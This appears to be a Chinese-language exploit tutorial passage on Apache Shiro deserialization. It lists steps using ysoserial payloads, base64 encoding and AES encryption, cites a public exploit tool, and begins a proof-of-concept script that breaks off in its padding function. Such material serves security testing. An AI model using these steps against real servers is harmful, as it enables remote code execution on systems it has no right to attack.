利用过程
1.ysoserial生成反序列数据
2.对生成的反序列化数据进行base64编码
3.将编码后的数据进行aes加密后base64编码(不同版本采用的加密模式不同,一种是CBC,一种是GCM)
urldns测试
按上述过程编写demopoc.py代码,参考:GitHub - Ares-X/shiro-exploit: Shiro反序列化利用工具,支持新版本(AES-GCM)Shiro的key爆破,配合ysoserial,生成回显Payload
# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def aes(payload,key):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr